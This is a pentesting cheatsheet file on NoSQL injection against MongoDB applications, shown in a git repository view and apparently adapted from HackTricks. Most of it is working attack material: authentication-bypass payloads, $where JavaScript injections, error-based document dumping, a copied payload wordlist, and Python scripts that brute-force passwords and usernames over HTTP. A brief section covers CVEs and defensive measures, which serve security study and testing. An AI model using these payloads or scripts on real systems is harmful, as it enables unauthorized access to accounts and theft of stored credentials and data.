daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

nosql-injection.md (15303B)


      1 ---
      2 title: "NoSQL injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/nosql-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/nosql-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # NoSQL injection
     14 
     15 ## Exploit
     16 
     17 In PHP, a client can submit an array by changing a parameter from _`parameter=foo`_ to _`parameter[arrName]=foo`_.
     18 
     19 These payloads inject a database **operator**:<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     20 
     21 ```bash
     22 username[$ne]=1$password[$ne]=1 #<Not Equals>
     23 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
     24 username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
     25 username[$eq]=admin&password[$ne]=1 #<Equals>
     26 username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
     27 username[$ne]=admin&pass[$gt]=s #<Greater Than>
     28 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
     29 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
     30 ```
     31 
     32 ### Basic authentication bypass
     33 
     34 **Using not equal ($ne) or greater ($gt)**<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>
     35 
     36 ```bash
     37 #in URL
     38 username[$ne]=toto&password[$ne]=toto
     39 username[$regex]=.*&password[$regex]=.*
     40 username[$exists]=true&password[$exists]=true
     41 
     42 #in JSON
     43 {"username": {"$ne": null}, "password": {"$ne": null} }
     44 {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
     45 {"username": {"$gt": undefined}, "password": {"$gt": undefined} }
     46 ```
     47 
     48 ### MongoDB Server-Side JavaScript Injection
     49 
     50 ```javascript
     51 query = { $where: `this.username == '${username}'` }
     52 ```
     53 
     54 An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.<sup>[[3]](#references)</sup>
     55 
     56 ```text
     57 Normal sql: ' or 1=1-- -
     58 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
     59 ```
     60 
     61 ### Extract **length** information
     62 
     63 ```bash
     64 username[$ne]=toto&password[$regex]=.{1}
     65 username[$ne]=toto&password[$regex]=.{3}
     66 # True if the length equals 1,3...
     67 ```
     68 
     69 ### Extract **data** information
     70 
     71 ```text
     72 in URL (if length == 3)
     73 username[$ne]=toto&password[$regex]=a.{2}
     74 username[$ne]=toto&password[$regex]=b.{2}
     75 ...
     76 username[$ne]=toto&password[$regex]=m.{2}
     77 username[$ne]=toto&password[$regex]=md.{1}
     78 username[$ne]=toto&password[$regex]=mdp
     79 
     80 username[$ne]=toto&password[$regex]=m.*
     81 username[$ne]=toto&password[$regex]=md.*
     82 
     83 in JSON
     84 {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
     85 {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
     86 {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
     87 ```
     88 
     89 ### Blind Extraction with MongoDB JavaScript
     90 
     91 ```text
     92 /?search=admin' && this.password%00 --> Check if the field password exists
     93 /?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
     94 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
     95 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
     96 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
     97 ...
     98 /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
     99 ...
    100 /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
    101 ```
    102 
    103 ### PHP Arbitrary Function Execution
    104 
    105 The **`$func`** operator in the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library can expose arbitrary function execution in vulnerable applications, as demonstrated in [this Cockpit CMS report](https://swarm.ptsecurity.com/rce-cockpit-cms/).<sup>[[10]](#references)</sup>
    106 
    107 ```python
    108 "user":{"$func": "var_dump"}
    109 ```
    110 
    111 ![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28933%29.png)
    112 
    113 ### Get info from different collection
    114 
    115 It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard.
    116 
    117 **NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.
    118 
    119 ```json
    120 [
    121   {
    122     "$lookup": {
    123       "from": "users",
    124       "as": "resultado",
    125       "pipeline": [
    126         {
    127           "$match": {
    128             "password": {
    129               "$regex": "^.*"
    130             }
    131           }
    132         }
    133       ]
    134     }
    135   }
    136 ]
    137 ```
    138 
    139 ### Error-Based Injection
    140 
    141 Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:<sup>[[5]](#references)</sup>
    142 
    143 ```json
    144 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
    145 ```
    146 
    147 If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:<sup>[[5]](#references)</sup>
    148 
    149 ```json
    150 { "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
    151 ```
    152 
    153 ### Beating pre/post conditions in syntax injection
    154 
    155 When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions.<sup>[[8]](#references)</sup>
    156 
    157 In `$where` injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses:
    158 
    159 ```javascript
    160 ' || 1 || 'x
    161 ' || 1%00
    162 ```
    163 
    164 In raw JSON filter injection, duplicate keys can override earlier constraints on parsers that follow a **last-key-wins** policy:
    165 
    166 ```json
    167 // Original filter
    168 {"username":"<input>","role":"user"}
    169 
    170 // Injected value of <input>
    171 ","username":{"$ne":""},"$comment":"dup-key
    172 
    173 // Effective filter on permissive parsers
    174 {"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}
    175 ```
    176 
    177 This trick is parser-dependent and only applies when the application assembles JSON with string concatenation/interpolation first. It does **not** apply when the backend keeps the query as a structured object end-to-end.
    178 
    179 ## Recent CVEs & Real-World Exploits (2023-2025)
    180 
    181 ### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
    182 Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.<sup>[[6]](#references)</sup>
    183 
    184 ### Mongoose `populate().match` search injection – CVE-2024-53900 & CVE-2025-23061
    185 If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`.<sup>[[7]](#references)</sup>
    186 
    187 ```javascript
    188 // Dangerous: attacker controls the full match object
    189 Post.find().populate({ path: 'author', match: req.query.author });
    190 ```
    191 
    192 Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping:<sup>[[9]](#references)</sup>
    193 
    194 ```javascript
    195 mongoose.set('sanitizeFilter', true);
    196 
    197 Post.find().populate({
    198   path: 'author',
    199   match: { email: req.query.email }
    200 });
    201 ```
    202 
    203 ### GraphQL → Mongo filter confusion
    204 Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable:
    205 
    206 ```graphql
    207 query users($f:UserFilter){
    208   users(filter:$f){ _id email }
    209 }
    210 
    211 # variables
    212 { "f": { "$ne": {} } }
    213 ```
    214 
    215 Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod).
    216 
    217 ## Defensive Cheat-Sheet (updated 2025)
    218 
    219 1. Strip or reject keys that start with `$`; if Express is in front of Mongo/Mongoose, sanitize `req.body`, `req.query`, and `req.params` before they reach the ORM.
    220 2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting` or `security.javascriptEnabled: false`) so `$where` and similar JS sinks are unavailable.
    221 3. Prefer `$expr` and typed query builders instead of `$where`.
    222 4. Validate data types early (Joi/Ajv/Zod) and disallow arrays or objects where scalars are expected to avoid `[$ne]` tricks.
    223 5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects into Mongo/Mongoose filters.
    224 
    225 ## MongoDB Payloads
    226 
    227 List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)<sup>[[11]](#references)</sup>
    228 
    229 ```text
    230 true, $where: '1 == 1'
    231 , $where: '1 == 1'
    232 $where: '1 == 1'
    233 ', $where: '1 == 1
    234 1, $where: '1 == 1'
    235 { $ne: 1 }
    236 ', $or: [ {}, { 'a':'a
    237 ' } ], $comment:'successful MongoDB injection'
    238 db.injection.insert({success:1});
    239 db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
    240 || 1==1
    241 || 1==1//
    242 || 1==1%00
    243 }, { password : /.*/ }
    244 ' && this.password.match(/.*/index.html)//+%00
    245 ' && this.passwordzz.match(/.*/index.html)//+%00
    246 '%20%26%26%20this.password.match(/.*/index.html)//+%00
    247 '%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
    248 {$gt: ''}
    249 [$ne]=1
    250 ';sleep(5000);
    251 ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
    252 {"username": {"$ne": null}, "password": {"$ne": null}}
    253 {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
    254 {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
    255 {"username": {"$gt":""}, "password": {"$gt":""}}
    256 {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
    257 ```
    258 
    259 ## Blind NoSQL Script
    260 
    261 ```python
    262 import requests, string
    263 
    264 alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
    265 
    266 flag = ""
    267 for i in range(21):
    268     print("[i] Looking for char number "+str(i+1))
    269     for char in alphabet:
    270         r = requests.get("http://chall.com?param=^"+flag+char)
    271         if ("<TRUE>" in r.text):
    272             flag += char
    273             print("[+] Flag: "+flag)
    274             break
    275 ```
    276 
    277 ```python
    278 import requests
    279 import urllib3
    280 import string
    281 import urllib
    282 urllib3.disable_warnings()
    283 
    284 username="admin"
    285 password=""
    286 
    287 while True:
    288     for c in string.printable:
    289         if c not in ['*','+','.','?','|']:
    290             payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
    291             r = requests.post(u, data = {'ids': payload}, verify = False)
    292             if 'OK' in r.text:
    293                 print("Found one more char : %s" % (password+c))
    294                 password += c
    295 ```
    296 
    297 ### Brute-force login usernames and passwords from POST login
    298 
    299 This is a simple script that you could modify but the previous tools can also do this task.
    300 
    301 ```python
    302 import requests
    303 import string
    304 
    305 url = "http://example.com"
    306 headers = {"Host": "example.com"}
    307 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
    308 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
    309 
    310 def get_password(username):
    311     print("Extracting password of "+username)
    312     params = {"username":username, "password[$regex]":"", "login": "login"}
    313     password = "^"
    314     while True:
    315         for c in possible_chars:
    316             params["password[$regex]"] = password + c + ".*"
    317             pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
    318             if int(pr.status_code) == 302:
    319                 password += c
    320                 break
    321         if c == possible_chars[-1]:
    322             print("Found password "+password[1:].replace("\\", "")+" for username "+username)
    323             return password[1:].replace("\\", "")
    324 
    325 def get_usernames(prefix):
    326     usernames = []
    327     params = {"username[$regex]":"", "password[$regex]":".*"}
    328     for c in possible_chars:
    329         username = "^" + prefix + c
    330         params["username[$regex]"] = username + ".*"
    331         pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
    332         if int(pr.status_code) == 302:
    333             print(username)
    334             for user in get_usernames(prefix + c):
    335                 usernames.append(user)
    336     return usernames
    337 
    338 for u in get_usernames(""):
    339     get_password(u)
    340 ```
    341 
    342 ## Tools
    343 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
    344 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
    345 - [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
    346 - [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
    347 
    348 ## References
    349 
    350 - [1] [NoSQL, No Injection? – Ron Shulman-Peleg & Bronshtein](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
    351 - [2] [PayloadsAllTheThings – NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
    352 - [3] [A NoSQL Injection Primer with Mongo – nullsweep](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
    353 - [4] [Hacking Node.js and MongoDB – Websecurify Blog](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
    354 - [5] [NoSQL Error-Based Injection – SensePost](https://sensepost.com/blog/2025/nosql-error-based-injection/)
    355 - [6] [CVE-2023-28359 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
    356 - [7] [Technical Discovery: Mongoose CVE-2025-23061 & CVE-2024-53900 – OPSWAT](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
    357 - [8] [Getting Rid of Pre and Post Conditions in NoSQL Injections – SensePost](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
    358 - [9] [Mongoose v6.x API Docs](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html)
    359 - [10] [RCE in Cockpit CMS via NoSQL Injection – PT SWARM](https://swarm.ptsecurity.com/rce-cockpit-cms/)
    360 - [11] [cr0hn/nosqlinjection_wordlists – MongoDB NoSQLi Payloads](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)